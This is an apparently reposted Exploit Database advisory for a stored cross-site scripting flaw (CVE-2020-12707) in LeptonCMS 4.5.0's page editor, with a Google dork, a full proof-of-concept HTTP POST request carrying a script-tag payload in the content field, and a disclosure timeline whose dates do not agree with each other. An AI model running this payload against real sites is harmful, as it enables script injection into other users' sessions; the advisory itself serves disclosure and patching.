LeptonCMS 4.5.0 – Persistent Cross-Site Scripting

• Exploit Database
• 36 阅读

• 作者： SunCSR
  日期： 2020-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48250/

• # Exploit Title: LeptonCMS 4.5.0 - Persistent Cross-Site Scripting
  # Google Dork: "lepton cms"
  # Date: 2019-03-24
  # Exploit Author: SunCSR (Sun* Cyber Security Research)
  # Vendor Homepage: https://lepton-cms.org/english/home.php
  # Software Link:
  https://lepton-cms.org/posts/new-release-lepton-4.5.0-139.php
  # Version: 4.5.0
  # Tested on: Windows
  # CVE : CVE-2020-12707
  
  ### Vulnerability : Persistent Cross-Site Scripting
  
  # Description
  A stored cross-site-scripting security issue in the edit page feature
  Url : http://TARGET/lepton/backend/pages/modify.php
  Request Type: POST
  Vulnerable Parameter : "content"
  Payload : content=<script>alert('XSS')</script>
  
  #POC
  POST /lepton/modules/wysiwyg/save.php?leptoken=03d01fea73f9810402beez1585032684 HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 79
  Origin: http://TARGET
  Connection: close
  Referer: http://TARGET/lepton/backend/pages/modify.php?page_id=5&leptoken=f04ef2dc728873e9fa849z1585032680
  Cookie: cookieconsent_status=dismiss; SESSc3618c3927e551a1d6443b365aef1bc3=_guGZcGkV8IUWJx91f8pVQo8aBpxO4ipp75Un8WQN-g; _ctr=MTI3XzBfMF8xLlpa; nv4_cltz=420.420.420%257C%252F%257C.thiennv.com; nv4_ctr=MTI3XzBfMF8xLlpa; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; 5e71dbd610916_SESSION=bt38jrlr7ajgc28t6db10mdgu7; lep8407sessionid=6aqrn6ccetoeqdes68e44hdlul
  Upgrade-Insecure-Requests: 1
  
  page_id=5&section_id=5&content5=<script>alert('XSS')</script>
  
  ### History
  =============
  2020-03-18Issue discovered
  2020-04-20Vendor contacted
  2020-04-21Vendor response and hotfix
  2020-04-23Vendor releases fixed versions